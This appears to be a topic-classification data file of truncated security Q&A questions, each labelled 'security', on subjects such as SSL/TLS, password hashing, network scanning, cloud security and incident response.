crazy is that I am used to the Firefox saved passwords where it will show the last ... ",['security'] "Title: Netcat IP Spoofing Body: I am connecting to a server nc -v 192.168.0.1 1111 But I want to do IP spoofing because the server on 192.168.0.1 only accepting commands from 7.7.7.7. We are two friends, I am 192.168.1.1, and my ... ",['security'] "Title: Is SSL session based only? Is there a (formal) definition of an SSL connection? Body: In various docs on SSL there is a mention of connection. But from the context I am not sure if this means the underlying TCP connection or the SSL connection. I am thinking that there is no SSL ... ",['security'] "Title: VPS Safety in the Cloud Body: Imagine you are running a web server on a Virtual Private Server (VPS) hosted in a datacenter. Could the people running the datacenter covertly read files from my VPS's hard disk? Could an attacker ... ",['security'] "Title: Authentication methods without trusting 3rd parties unless explicitly indicated Body: The plan is to have a situation in which no third parties have to be trusted unless you explicitly indicate so. For example CA's are only used when the contact explicitly added the CA as a trusted ... ",['security'] "Title: URIs in the subjAltName X.509 extension Body: The subjAltTag extension for X.509 certificates can take in domain names, email addresses, URIs, etc. I was playing around with an X.509 whose subjAltTag had just a URI in it doesn't seem to work. ... ",['security'] "Title: Sending Commands using Hping3 Body: I want to send my command to destination server. I am using hping3. And; hping3 -p 9999(running daemon and commands executing on this server) -S 127.0.0.1 I want to send my command. How to? ",['security'] "Title: The best papers on WPA/WPA2 Body: I have to write a term project about WPA/WPA2: I should find and read five articles and write a sort of summary of the technology citing those articles. And no, the professor will not help find ... ",['security'] "Title: Password sent via email upon registration Body: I was wondering what the pros and cons are about sending an email with the password to a user registering on a website (like wordpress.org does). They use pretty good passwords (12 characters long ... ",['security'] "Title: PCI Compliant Key Management solutions that don't cost a fortune Body: We are relatively small software company who has a requirement to store PAN's for our customers. Hosted payment solutions just don't fit our product requirements. We literally have 3 lines of ... ",['security'] "Title: SSL/TLS Protocol Description Body: It may seem crazy to you, but I wasn't able to find any detailed description of these security protocols on the web (except wikipedia). Can you point me out some documentation of the protocols ... ",['security'] "Title: Hibernate SQL Injection - Fortify 360 Body: I am using Fortify 360 to analyze my code's security. Fortify has identified a Hibernate based delete method to perform a delete based on an object that has been passed in. My understanding of ... ",['security'] "Title: NMAP SSMTP Service Detection Body: When I examined a NMAP -sV scan on a host running Exim on port 465, it uses the standard SYN scan to determine if the port is open, and then issues a Client Hello to which the server responds with a ... ",['security'] "Title: NMAP DNS Service Detection Body: I was looking out how NMAP identifies DNS services. After determining that port 53 is open it issues a standard query TXT version.bind to find out if BIND is running on the domain port. Then, I saw ... ",['security'] "Title: How can I protect content distributed on a linux virtual machine? Body: What assets am I trying to protect? An unofficial pre-alpha software prototype provided as a reproducible example for evaluation during the scientific peer-review process. The software will be ... ",['security'] "Title: Browsers and export regs. Is SGC still valid? Body: I was reading a rather ""dated"" book on SSL/TLS, which mentions about International Step Up certificates and Microsoft's Server Gated Certificates which were the way arround the US export rules for ... ",['security'] "Title: How to protect myself from cyberbullying? Body: I want to learn how can I protect my PC from getting hacked in order to protect myself from cyberbullying. There is an intruder who has hacked my system over the last 4 years. He has hacked my all ... ",['security'] "Title: Do any organizations use Smart Cards other than the military? Body: The military's Common Access Card (CAC) seems legit. Do other companies/organizations employ their use? If not, why? UPDATE What are the pros/cons of smart cards, compared to other methods? ",['security'] "Title: “Doxing” users on Social Media Body: I hope this question falls within the scope of the faq...I'm curious to see what kind of answers I get. Suppose the following A user is posting libel and slander on social media (lets say Twitter ... ",['security'] "Title: Is leaving the root user enabled in Mac OS X a security risk? Body: To those unfamiliar, the Mac OSX has the root account disabled by default. In order to enable the root user you have to go deep into System Preferences and authenticate yourself with an administrator ... ",['security'] "Title: XSS : Content-type: application/json Body: Background information - Application responds to request to a particular URL with content-type: application/json JSON response contains a parameter from the request Escapes the quote with a slash ... ",['security'] "Title: How to retrive domain account hashes from windows 2008 server? [closed] Body: I want to do password length audit of domain password using offline brute force analysis. I cannot find any domain hashes from local machines , I want an approach where i can retrieve these hashes ... ",['security'] "Title: Protecting LAN from remote controlled VMs Body: I am making a virtual network setup for my high school cybersecurity team to practice. I am connecting all the VMs together through a VPN and then people who are practicing will VPN in and ssh/remote ... ",['security'] "Title: Authenticated Encryption vs. contained and encrypted checksum/hash? Body: So I read through http://en.wikipedia.org/wiki/Authenticated_encryption and http://www.cryptopp.com/wiki/Authenticated_Encryption and I don't seem to be following the concept. From the simple ... ",['security'] "Title: Security of Cloud Storage Body: What are the main security risks of popular cloud storage services such as Dropbox? I am torn between the convenience of cloud storage and the potential security risk of it. How can I evaluate whether ... ",['security'] "Title: How can I make it more difficult for a user to create multiple accounts? Body: I would like to know the best way to increase security on a website so that the a single user can't create multiple accounts. What all of a user can be traced? I'm thinking: IP address Mac address ... ",['security'] "Title: How am I able to use Input Director when one machine is VPN'd into work? Body: So - I don't actually have a problem, but I'm really curious, because apparently VPN's don't work the way I thought they did. It was my impression that when I VPN into my office, my computer is ... ",['security'] "Title: Is traffic sent by Mouse Without Borders encrypted? Body: Some of our users have installed Mouse Without Borders and I wanted to know if it is possible to intercept the traffic being sent between the two computers and read it in some meaningful manner. I was ... ",['security'] "Title: UDP Flood Attack false positive Body: Symantec keeps blocking traffic from the IP of my Comcast SMC Network gateway. It blocks traffic because it is detecting a UDP Flood Attack. According to the log the CPU usage is spiking to 100% when ... ",['security'] "Title: Encryption on the GPU, safer or not? Body: I was just wondering whether performing encryption on the GPU was safer than on the CPU, with regard to the difficulty of reading the encryption key from memory and/or various other hardware attacks. ... ",['security'] "Title: What is the danger of hosting your SSL certificate yourself? Body: I have Active Directory Certificate Services on my server, which makes it possible for me to deliver an SSL certificate for the websites hosted on the same server. I know that normally, I need to ... ",['security'] "Title: How secure is Stack Exchange's reputation? Body: I recently read an article about researchers being able to penetrate the Facebook network and making lots of friends with about 100 ""Social"" bots. What would prevent somebody to do the same on Stack ... ",['security'] "Title: NSA RHEL5 Checklist Body: The NSA has came up with the ""Guide to the Secure Conguration of Red Hat Enterprise Linux 5"" (http://www.nsa.gov/ia/_files/os/redhat/NSA_RHEL_5_GUIDE_v4.2.pdf) I have read through this guide and it is ... ",['security'] "Title: Security drawbacks for using short-lived access token in javascript client side Body: I intend to build a front end site entirely in javascript (NodeJS) and i would like to do ajax calls to a REST WS which is on another domain on client side. I intend to use oauth2 and SSL to secure ... ",['security'] "Title: If the encryption algorithm broken or analysed, can an attacker find my password? Body: If the encryption algorithm broken or analysed, can the attacker know what my password was? ",['security'] "Title: Notifying Website w/Security Hole Body: As a hobby, I find security holes ranging from XSS to SQLi to LFI etc in random websites I find. (I don't exploit them). I've decided to to do a little more; I want to create a volunteer group ... ",['security'] "Title: Which CTF Penetration Test? [duplicate] Body: Possible Duplicate: What “hacking” competitions/challenges exist? I want to test my penetration test skills.And i solved a few CTF.But it is not enough.I want to solve more ctf ... ",['security'] "Title: Network abnormally slow during night hours Body: My network recently the last week as become abnormally slow around 11 pm. Very slow buffering youtube videos during all hours. Ive recently purchased the new router about two months ago but not ... ",['security'] "Title: What privacy methods exist for P2P transfers? Body: I love my VPN, it gives me to a certain extent privacy from isp & to what I connect. I also use P2P to get & provide data, but I would like to create a level of privacy. What methods exist ... ",['security'] "Title: Hashing length for storing password Body: Does larger hash size improve the security? Is it overkill to use 512 bit hash? If I stored only 256 bits of the PBKDF2-SHA512 derived key, is it less, equal or more safe than 256 bits of ... ",['security'] "Title: Hybrid key management doing it wrong? Body: I'm currently working on a project that needs be as secure as possible key-management. My experience with encryption, decryption and key-management are none whatsoever so i did some research on the ... ",['security'] "Title: What security measures to have before openly allowing security researchers to hack your site Body: As some kind of a follow-up from my previous question - which was asked from the security researcher/penetration tester point of view: (Thanks to Rory McCune for pointing this out) There seem to be a ... ",['security'] "Title: What security concerns should one bear in mind when hacking open-invitation websites? Body: There's a couple other questions already addressing legalities, ethics, and liabilities of hacking websites with open invitations. What are legal/ethical concerns to bear in mind, when hacking ... ",['security'] "Title: Have hardware trojans been seen in the wild? Body: Military and intelligence organizations have spent a lot of resources guarding against the possibility of hardware trojans, unauthorized modifications to hardware circuits that leak information or ... ",['security'] "Title: Ingress RFC1918 spoofing: How to handle it? Body: I've seen packets originating from RFC1918 addresses from two fairly large european ISP's (ASN1257 & smaller ASN35706) coming in on eBGP transit links lately, and I'm a bit puzzled why it wouldn't ... ",['security'] "Title: Are Facebook, Yahoo, Google, etc. hackable? Body: Just to be clear, I am not asking how to hack in these services, I am just curious. Let me try to explain. Since I know a little bit about computers, people automatically assume I know how to have, ... ",['security'] "Title: How did the spam email sender get my name? Body: Some time ago I bought something online from a reputable website. I paid through my credit card and everything worked fine. The thing which is important to note is that the name used on the credit ... ",['security'] "Title: How secure is blocking all incoming connections on my ADSL or cable router? Body: My router, an up-to-date ADSL Fritz!Box 7340 router with a fixed leased IP address, has been configured to block all incoming traffic. Assuming, for the sake of argument, no extra security is ... ",['security'] "Title: monitoring outgoing network traffic Body: The graphs for one server that I am using are showing consistent 7.5 kb/s outgoing network traffic that started a few days ago. How can I monitor/log/capture/analize this traffic to see what is it, ... ",['security'] "Title: Drupal Disputed CVE Five Year Tempest – Open Source Security Shortfall? Body: Can someone add context to the subject issue? At first glance it appears to me this issue represents a fundamental shortfall in the forces encouraging secure coding in open source development. Is ... ",['security'] "Title: Demonstration of how security through obscurity fails to work Body: I need to demonstrate that security through obscurity fails twice in the following scenario. I've a secret KEY. User A gets MessageX = SecretTransformation(KEY, SecretValue1); User B gets MessageY ... ",['security'] "Title: How to check if a software is legitimate Body: if I have a developer who wants to install a new software and he ask me to check this software security before installing it what shall I do ",['security'] "Title: Is it alright to tell everyone your encryption information? Body: I have an account in an online banking system and they have the FAQ with something like this: How secure is the <Online Banking System Name>? Each page you view and any information ... ",['security'] "Title: Reply to SSL Handshake Request with a 302 Response Body: Is it possible to respond to an SSL Handshake request by sending back a http 302 redirect without making the browser mad? I would like to immediately redirect to a different site upon receiving the ... ",['security'] "Title: What, specifically, does the Windows Firewall do? Body: My understanding of the situation is that, when the Windows firewall is off, every port on the computer (all 65535 of them) is fully open. This means that any application running on the computer can ... ",['security'] "Title: What are the best IT auditing guidelines for Red Hat Linux 5.x+, including the critical data protection? Body: Currently, I am a junior application consultant and we are maintaining huge amounts of redhat machines as servers. I am given the chance and liberty by my boss (unbelieveable!) to go do my own ... ",['security'] "Title: Is it possible to turn a computer into a bomb? Body: I know this newspaper article sounds absurd. Even if a machine is compromised we (should) have hardware safe guards in all our devices to prevent the software from damaging the hardware. But is it ... ",['security'] "Title: Mac OS X from an IT Security Practitioners' Perspective? Body: What does the Mac OS X offer that it has been recently attracting users with IT security focus? There are sites that specifically focus on ""hacking"" with OSX, such as machacking.net. Defcon has an ... ",['security'] "Title: What can I do if my bank thinks my date of birth is “known only to me”? Body: My bank has recently replaced passwords with occasionally asking me information that is ""known only to me"". Such information includes my date of birth, postcode, and my mother’s maiden name. ... ",['security'] "Title: How secure is TOTP key on phones? Body: Our company is considering several options in moving to MFA with software OATH TOTP or yubikey OATH OTP. In regards to where the secret is stored, I'm aware that a yubikey or similar hardware device ... ",['security'] "Title: How to use OAuth with Active Directory Body: I'm creating a REST WCF service and want to use OAuth to authenticate each user's request. The user accounts are stored in Active Directory so I have access to their AD login name on the client ... ",['security'] "Title: VirtualBox Pen Test Lab Setup Body: So i'm trying to set up a pen test lab in virtual box on my windows 7 host. I have 3 guest OS's installed: 1.) BackTrack5 2.) Centos 5 Server/Snort (My Snortbox) 3.) Win XP (Unpatched) I have 3 ... ",['security'] "Title: How to make sure that previous sysadmin has not compromised corporate IT security? [duplicate] Body: Possible Duplicate: When a sysadmin leaves what extra precautions need to be taken? A company has been maintaining its ALL internal and external (like google emails, apps, etc.) IT systems ... ",['security'] "Title: How to conduct DDoS attack practically? [duplicate] Body: Possible Duplicate: How to simulate DDoS attacks from the Internet? I want to conduct a DDoS attack. Can anyone please tell how can i conduct it? What are the latest DDos attacks? What are ... ",['security'] "Title: Facebook user data encryption Body: In my country, Austria, a telecommunications data retention law will be executed starting at April 1. Internet carriers are required to store connection data (from which computer to which server), but ... ",['security'] "Title: What is the point of the same-domain rule for xmlhttprequest when script tags/JSONP can cross domains? Body: I get that I don't want a page loaded from stackoverflow.com to be able to request gmail.com on my behalf and read my email--but this seems to be simply a cookie issue. Since JSONP bypasses ... ",['security'] "Title: Is storing card details without the permission of the card holder against PCI DSS? Body: I've bought something from an online store, and when entering the card details, it sent the details to their server through a HTTPS connection, which I then assume they forwarded to their provider - ... ",['security'] "Title: Unexplained downloading Body: I was just watching as my bandwidth monitor spiked downloading a file. I checked my current netstat and I didn't recognize one of the IPs so I started capturing the data with Wireshark. The ... ",['security'] "Title: Could somebody explain the basics of Wireshark to me [closed] Body: I've downloaded Wireshark, messed around with the GUI a bit and, honestly, I can't make head nor tail of what I am looking at. I understand that Winpcap allows me to create a copy of every packet ... ",['security'] "Title: How to estimate the number of entropy bits & search space of a signature system like passtouch? Body: Apologies if I'm using the wrong lexicon, I'm just reading up about password systems out of interest. After seeing the xkcd strip on passphrases and coming across the passtouch system (youtube demo) ... ",['security'] "Title: Is opening port 3389 on a router and forwarding this to a Windows SBS 2003 server secure? Body: I know of a company who has port 3389 open on their router and forwards this to a Windows SBS 2003 server. The server has the Windows firewall switched on, is patched and has an up to date antivirus ... ",['security'] "Title: Evaluating Cloud Provider Security Body: I am trying to make a judgement call on a cloud provider's security. This is what I know : Provider A - PRGMR.COM (not very well known but competent and reliable) Is very transparent - seeks ... ",['security'] "Title: How does a brute force attack actually determine it has succeeded? [duplicate] Body: Possible Duplicate: If someone breaks encryption, how do they know they're successful? First off, this is not about cracking hashed passwords. I know that a brute-force or dictionary ... ",['security'] "Title: What are stolen passwords used for? Body: Say there is a line of business application which has username/password datatable in the DB. Personal email address is not stored, and usernames are assigned by an administrator. Someone gains access ... ",['security'] "Title: Is it trivial to bypass IP blocking? Body: There is a site with IP blocking. When a client makes too many invalid attempts when guessing e.g. password, then their IP address becomes blocked. I've heard about IP spoofing and similar attacks. ... ",['security'] "Title: Exploits inevitably “cost of doing business on the Internet”? Body: After yet another exploit of and malware injection into his website, host Leo Laporte of the Twit network has recently asserted/been told by his security expert that falling victim to such attacks is ... ",['security'] "Title: RDP - Same login sufficient? Body: I just authorized remote access to my Windows 7 machine (not using NLA, since I run a mainly Linux network). I diabled Remote Assistance. My user (JoeBlow) is protected with password 123456 and ... ",['security'] "Title: Why the servers stores hashed password instead of relaying on private/public key Body: I understand why the SSL client certificates are not widely used (need to install them, problems with shared machines etc.). On the other hand when I log into the server the password is send to it and ... ",['security'] "Title: How does OS detection work in practice? Body: I was wondering how OS detection really works on Nmap. I know it is about to send different tcp probes to see how the target machine responds to them. But what kind of probes would distinguish a ... ",['security'] "Title: How does Freenet maintain access to 'freesites' while retaining plausible deniability about content? Body: On Freenet you can host websites deemed 'freesites' which are publicly accessible by everyone. As I understand, Freenet can serve a variety of content, some which is illegal, which is why content is ... ",['security'] "Title: What should students learn about security in an introductory programming course? Body: Some folks have advocated that security should be integrated into computer science coursework, throughout the curriculum. Suppose we are going to add one lecture on security, to a first course on ... ",['security'] "Title: Is it secure to have one salt or generate and send it over the air? Body: To authorize user I'm sending salted hash over the air. My question it is more secure to obtain randomly generated salt (but send unencrypted), or have one salt on client (desktop application) and ... ",['security'] "Title: Dedicated Server in Cloud Environment - SSL Remote Login vs Dedicated VPN Body: Thanks for taking your time to look into this question. Background I have my website hosted in a dedicated server in the cloud. The server is a Windows 2008 R2 machine. To publish I FTP files to ... ",['security'] "Title: Unknown MAC address connected to router Body: I found an unknown MAC address connected to my home router. How would I figure out what OS the IP or MAC address is running? ",['security'] "Title: Is CIFS/SMB (Folder Sharing in Windows) secure? Body: I have to back up some data from windows 7 machines over the internet, and I rarely use windows so am distrustful of it in general. Specifically: Is there any sort of check that the server is the ... ",['security'] "Title: Can A Powered Down Cell Phone be Turned On Remotely? Body: I know this is tin-foil hat fodder, but at least one judicial opinion (http://www.politechbot.com/docs/fbi.ardito.roving.bug.opinion.120106.txt) referenced a bug that could track/listen in on the ... ",['security'] "Title: Erasing a hard-disk, encrypting it as alternative? Body: I was pondering about this, sometimes people ask me to erase data on their drive. So I use a shredding program, which takes a long time. However what if instead of shredding all the files, I'd just ... ",['security'] "Title: What fraction of web sites are vulnerable? Body: It is known that security vulnerabilities are common on the web: many web sites are vulnerable. Is there any data on what fraction of web sites are vulnerable, and what fraction are secure? ",['security'] "Title: How can I prevent tracking by ETAGs? Body: An ETAG is a HTTP header that is sent-behind-the-scenes between a web browser and an web server. This value is intended to control how long a particular file is cached on the client side. There is ... ",['security'] "Title: Mitigating risk from electronic payments Body: When attempting to sell a product online (for instance, on craigslist) there is a very good chance you will be the target of a social engineer; this is especially true when you are selling high-value ... ",['security'] "Title: How to trace a (mobile) phone? Body: Even since growing up, I've watched films in which the ""bad guy"" is repeatedly tracked down when they call the police or FBI or police force de jour. They always have ""about 30 seconds"". Regardless ... ",['security'] "Title: Please explain Time-step in Time-Based One-Time Password Algorithm Body: I am studying about OTPs (One Time Passwords). I have gone through all the methods: HOTP (HMAC-based One Time Password), TOTP (Time-based One Time Password) I have no issues with HOTP. But according ... ",['security'] "Title: What are all of the issues with storing a cleartext password? Body: I know, I know, cleartext passwords are terrible and you should always store a hash! However, I'm interested in all of the issues with storing cleartext passwords so I can make a reasonably secure ... ",['security'] "Title: What issues might exist with TLS-OBC's emulation of Browser Certificates? Body: TLS-OBC is an RFC proposal that increases SSL/TLS security by using certificates on both ends of the TLS connection. What's special here is that the client is permitted to dynamically create a local, ... ",['security'] "Title: How can I detect/withstand DNS amplification attack? Body: I am a developer, and I am trying to get an insight into what could I do to enable my application to withstand a DNS amplification kind of attacks. Would such prevention methods help against DOS type ... ",['security'] "Title: Wireless security attack techniques Body: Before I ask for some advice, please don't assume I'm a script kiddie or such. This is for one of my wireless security class (CSS 1015). It's a Saturday class and only 6 students are in the class ... ",['security'] "Title: Why did secureserver.net (godaddy) access my gmail account? [closed] Body: Why did secureserver.net (godaddy) access my gmail account? One day later...gmail reports suspicious activity...really? So...Why did secureserver.net (godaddy) access my gmail account? ... ",['security'] "Title: up2date tools for security audit linux / centos Body: I'm setting up a new CentOS 6 server and am looking into some security audit tools to validate my configuration and to point out weak spots in the server. There are a lot of non up2date tools out ... ",['security'] "Title: Why would malware try to remove other malware? Body: Recently my php-based website got infected with malware (probably by a stolen ftp password). Basically, every 30 minutes a file frame_cleaner_php.php was uploaded, a HTTP-GET was done on it to execute ... ",['security'] "Title: What is a good email site that doesn't mine your personal data? [closed] Body: I am becoming less and less ok with Google and Facebook collecting data on me based on my online activities and then selling that to companies. Is there a good email service out there that respects ... ",['security'] "Title: Smartphone SSH clients with shared user Body: I am writing an application for smartphones to provide very limited SSH usage. The user cannot perform arbitrary actions when logged in. They can run a specific script(s) only. For various reasons ... ",['security'] "Title: Is it safe to install malware in a VM Body: Is it safe to install malware in virtual machines? I would like to investigate malware, but I don't want to infect my own computer. Can I install the malware in a VMWare VM, maybe even without ... ",['security'] "Title: How secure is to store encryption keys or SSH Keys on LPAR? Body: I want to store SSH keys (used to connect to some devices that have sensitive data) and the encryption/decryption keys of a database application. They will be inside a LPAR (logical partition) in our ... ",['security'] "Title: Protection of Keys/Passwords on Virtual Hardware (XEN, KVM, VMWare, etc.) Body: Is there any reasonable way to secure data on virtual hardware? What I mean by ""virtual hardware"" is the various hosted systems that one can rent from various online hosters, that run on top of XEN, ... ",['security'] "Title: Are there security (esp. privacy) benefits to deleting cookies? Body: As the title says, I'm wondering if there are any security/privacy benefits to managing cookies - that is, managing by deleting cookies you don't want or need. I deleted all my cookies about a week ... ",['security'] "Title: mysql security logging Body: Is there any logging available that logs mysql connection attempts to the port, login attempts, and times succeeded with username, IP address and date time? Im trying to detect brute force attempts. ... ",['security'] "Title: How to perform security exploits/penetration on devices like iPhone's, PSP's, and Android to run your owncode? Body: I was really interested in getting into performing exploits to install my own code on devices, instead of waiting for others. I figure its a great way for me to learn about security on devices like ... ",['security'] "Title: What servers or clients are immune to related-domain cookie attacks? (*.example.com) Body: In this question, I want to identify browsers, servers, or implementations that are immune from related domain cookie attacks (e.g. a.example.com vs b.example.com). Lacking any tangible solution, ... ",['security'] "Title: Is there a good reason to turn off phpinfo()? Body: New server setup and the server admin decided phpinfo was too scary. I guess the fear is that a hacker could somehow get phpinfo() to run from injected php and find out all the extensions that are ... ",['security'] "Title: How to protect data on your hard disk if it is in an unfriendly environment? Body: The essence of the problem as follows: There is a server located on the side of our company. There is a hardware client module, which is in a public place, which communicates with the server via a ... ",['security'] "Title: cookie path protection within same domain Body: The answer to this question about how cookies are potentially vulnerable between sub-domains sparked my curiosity. As far as I know, if a cookie is set on a sub-path of the same domain ... ",['security'] "Title: Secure communication between C# client and Java server, using certificates Body: I want to secure communication between simple C# WPF client and Java server. Now i have already implemented raw sockets communication, and my security is based on: server send RSA public key to ... ",['security'] "Title: Unauthorised Perl Scripts [closed] Body: One of my servers just had the memory exhausted by a load of Perl scripts, we use plesk and they seem to have appeared under the /var/www/vhosts/domainexample.com/cgi-bin/ directory, I managed to stop ... ",['security'] "Title: What aspects of hardware configuration are significant from a security perspective? Body: What is worth keeping in mind (security-wise) when choosing a set of hardware? For example, might a cheap (or obscure) setup like a Raspberry Pi make for a less secure server than a more standard ... ",['security'] "Title: For untrusted user upload sites: what should the contents of crossdomain.xml and clientaccesspolicy.xml be? Body: Flash has a long history of ignoring MIME types of files and reading the file directly for executable content or for cross domain execution permissions. That means a malicious user can take advantage ... ",['security'] "Title: In Linux, when I consider trusting a new software source, what do I need to evaluate? Body: When I'm using the Linux software PackageKit, I get confused about what specific items of information I will need in order to decide whether to authorize software installation from a new software ... ",['security'] "Title: Epson Projector security threats Body: I have an EPSON PROJECTOR (model EB-824H) And I would like to use it in our company. As I know (but not sure) this kind of projector has no WIFI,no network card and there is no HD in this PROJECTOR It ... ",['security'] "Title: Can I instruct a Telco to prevent 2G connections from our phones? Body: Given that 2G is proven to be insecure (broken) at DefCon, is it possible for a Corporate IT department to work with the Telco and ban 2G connections for their devices? Some cell phones are unable to ... ",['security'] "Title: How can I share sensitive information with my team? Body: I need to share information with my team, like passwords and credit card numbers. The needs are pretty minimal -- just an encrypted ""spreadsheet"". Keepass is potentially a solution but the user ... ",['security'] "Title: iPhone Credit Card Payment Body: I am trying to understand what is the best way to implement a credit card payment flow into a native iPhone app. From what I see on the market, most of the apps use a WebView to process the payment. I ... ",['security'] "Title: where to store a key for encryption Body: I am looking for a way to store a key used for password encryption. I am using a mysql db which would store a user name and an encrypted password that would be encrypted using ... ",['security'] "Title: BlackBerry handheld penetration testing Body: Are there any relevant resources, tools or documents about penetration testing of BlackBerry handhelds? ",['security'] "Title: Reverse engineering (decompiling) an .exe file in OSX Body: I am a complete newby in the reverse engineering world, and being able to decompile .exe files in my OSX is being a pain. Does anybody know a good decompiler of .exe for OSX, or any hint about where ... ",['security'] "Title: Encryption laws in India — is it allowed to use ssh and VPN? Body: I have a very similar question to the one asked here (regarding Iran). However, I would like to use ssh and vpn while being in India. I found already this survey of cryptographic laws but I don't ... ",['security'] "Title: Disable internet access of development PC for security Body: My friend's company is trying to disable Internet access of programmer's primary development PC to improve security, while giving them another PC to connect to the Internet. He is a web programmer. I ... ",['security'] "Title: Wireshark log analyzing Body: I have the following Wireshark log and I want to categorize the attack. I think it prints the user under apache runs and then prints the system information. From this log can we determine if the ... ",['security'] "Title: SMS PDU specification and carving techniques? Body: I'm trying to carve NAND flash raw dumps for SMS:s (for school, digital forensics), following the information on dreamfabric.com, but I'm having some trouble. First of all, the specification isn't ... ",['security'] "Title: Automating PGP encryption? (Windows) Body: Let's say I have daily files that need to be encrypted using PGP (and then emailed) and I want to automate this task. I would be using Windows PowerShell to manipulate the files (examine date/times ... ",['security'] "Title: can ssh passwordless public key authentication be ok if combined with a VPN? Body: Having a debate with a coworker about the merits & faults of public key authentication with ssh. I'm basically wondering what all the possible merits and faults are, especially in regards to ... ",['security'] "Title: Using a weak password on a truecrypt volume Body: I have put together a portable apps USB stick for when I need to use random site computers, I also threw truecrypt on with an encrypted volume for some word documents. The password I am using is ... ",['security'] "Title: Incident database? [duplicate] Body: Possible Duplicate: Resources for data on security incidents Do you know any websites where they put Information about Security Incidents that happened to organizations/people (e.g. ... ",['security'] "Title: How to prevent private data being disclosed to unwanted audience over internet? Body: Everyday, in order to subscribe to certain services on the Internet we are almost forced to disclose private data even though those services don't necessarily require it. For example, I need to ... ",['security'] "Title: Device versus file based encryption in TrueCrypt for a flash drive? Body: Are there security tradeoffs to be considered in deciding between encrypting an entire flashdrive with TrueCrypt versus storing a file encrypted container? The security goal is to be immune to the ... ",['security'] "Title: Public key system confusion Body: I read the following about PKI: Using a public key system, a user may encrypt a portion of a document using his or her private key. This message will later be decrypted by the recipient using ... ",['security'] "Title: Could the bcrypt-ruby binding be vulnerable? Body: While developing a Ruby on Rails application using a commonly used authentication library named devise, I noticed from the prefix $2a$ of the produced password hashes in the application database that ... ",['security'] "Title: Apple Mac Security - What do I need to know? Body: As I've been working on Windows machines most of my life I know most of the best practices and apps to keep them secure. When it comes to security on Apple macs I'm clueless as to where to start. ",['security'] "Title: Installing Development Tools on Production Server? Security Risk? Body: I am using an Amazon Linux EC2 instance as a web server. My web app uses ImageMagick. Because the Amazon Linux (CentOS) repository doesn't include an up-to-date version of ImageMagick, I am compiling ... ",['security'] "Title: Explanation of SSL handshake with certificate Body: I've read a lot of articles. The client uses the information sent by the server to authenticate the server. If the server cannot be authenticated, the user is warned of the problem that an ... ",['security'] "Title: Circumventing Device Fingerprinting Body: Regarding the concept of device (browser) fingerprinting, would it be possible for the user to spoof fingerprinting data by giving random information such that your fingerprint changes after every ... ",['security'] "Title: Confusing about Ephemeral Diffie-Hellman Body: 1 Does Ephemeral Diffie-Hellman support authentication? Quote from www.rsa.com/products/bsafe/documentation/mesuite21html/dev_guide/group_EPH_DH.html Ephemeral Diffie-Hellman does NOT provide ... ",['security'] "Title: C# Image.FromStream is that secure? Body: after reading the data from the request as Stream i needed to convert it to Image so i used this Method: Stream inputStream = HttpContext.Current.Request.InputStream; Image img = ... ",['security'] "Title: “There's a firewall on the router into the building so you can turn the one on your computer off” Body: I know some people that, in regards to network security, argue that because the firewall on the router into the building is on, that makes the network secure and therefore, the firewall on Windows ... ",['security'] "Title: Security for home server, wiki Body: I recently set up my own home server, running Ubuntu linux. The intent I'm having for this is to have a private wiki for my family, so we can have a place to collect information like phone numbers, ... ",['security'] "Title: Cloud-specific standards and regulations Body: Not specific to any particular industry or requirements, but in general - are there currently commonly accepted standards regarding cloud-based applications? I* am developing a system that will be ... ",['security'] "Title: Could somebody explain connect loop DoS? Body: I'm trying to understand this vulnerability. How can I reproduce this? ",['security'] "Title: w00tw00t.at.ISC.SANS.DFind iptables fix - abusable? Body: It's only an idea. I've recently logged that my server is scanned by w00tw00t tools. I found many solutions to this, such as use of apache mod-security, fail2ban, etc.. The one I want to speak ... ",['security'] "Title: Can malware read keychain entries on iOS devices? Body: Keychain entries of a 3rd party app are protected according their 'protection class'. For example, assigning the class 'kSecAttrAccessibleWhenUnlocked' to a keychain entry means that the entry is only ... ",['security'] "Title: Help to account all the points of physical access to a rack server to steal software Body: Let's say I want to move my 1U Dell server to co-location site with a hostile company who will try to steal my code (this is almost 90% probability if I dont take steps)... The limitation for their ... ",['security'] "Title: What are the basic certification course for beginners? Body: I am an application developer in MNC with 2 year experience. What are the basic certification or course should I do what can help myself to shift in security field? ",['security'] "Title: Difference between directory traversal and file inclusion Body: I guess the title says it all. There seems to be no obvious difference between directory traversal and file inclusion vulnerabilities. But I guess there must be some difference, since the ... ",['security'] "Title: Securing a LAN without Physical Security Body: I've got an interesting dilemma. I have a large (50+ users) office that is going to be on the campus of a local university. The purpose is to foster collaboration, etc, but the open environment is ... ",['security'] "Title: What are concerns with storing passwords in a restricted public folder on exchange? Body: Is it safe to store data such as account log-in information (for vendor websites, not administrative accounts), settings policies, activation documentation, and operating system keys in a public ... ",['security'] "Title: URL redirection vulnerability Body: I've just read the following advisory at http://www.securitypentest.com/2011/02/facebook-url-redirect-vulnerability.html. In its solution section, I found a strike-through text: ""Only works when your ... ",['security'] "Title: How to securely delete a table in MS-Access? Body: I have a Windows 7 computer which currently has a large working Microsoft Access 2007 database on it containing some tables with confidential data. I would like to securely delete/remove the tables ... ",['security'] "Title: Can a CSRF CAPTCHA be defeated? Body: One defense that developers use to protect against a CSRF attack is to implement a CAPTCHA in critical steps. A CAPTCHA ensures that a human is at the keyboard approving the activity. But I've ... ",['security'] "Title: Modeling & Simulation: Do vulnerability-scanner software simulators exist? Body: In my research, i am attempting to develop a simulator that mimics the output of a vulnerability scanner, given a set of parameters (e.g., Network IP ranges, number of machines to scan, typical ... ",['security'] "Title: Is it OK to use the same password for a Linux login and the SSH private key? Body: I want to remotely log in to my Linux server with SSH. Public/private key authentication is more secure than password authentication, so I have disabled password-based authentication for SSH on my ... ",['security'] "Title: Why are hash functions one way? If I know the algorithm, why can't I calculate the input from it? Body: Why can't a password hash be reverse engineered? I've looked into this ages ago and have read lots on it, but I can't find the explanation of why it can't be done. An example will make it easier to ... ",['security'] "Title: Tor: requesting a tor website Body: When you have a website that's hosted within the Tor network and one accesses this website with a Tor browser, does this person still use an exit-node ? Or will this be an encrypted connection ... ",['security'] "Title: Is “untrusted code” reported by DOM Snitch a vulnerability? Body: One of the most frequent errors that DOM Snitch finds in sites is Untrusted code. He finds it in google.com for example. Here is an output of this tool: Is it a vulnerability? Edit: This report of ... ",['security'] "Title: “Double hashing” with 2 different hash functions Body: Is doing something like this sha256(sha512(password+salt)) Less secure then just doing sha256(password+salt) I've heard it will increase collision chances. I can think of 3 reasons to do this ... ",['security'] "Title: Would a per-file encryption system any more or less secure than volume encryption? Body: Guessing they're the 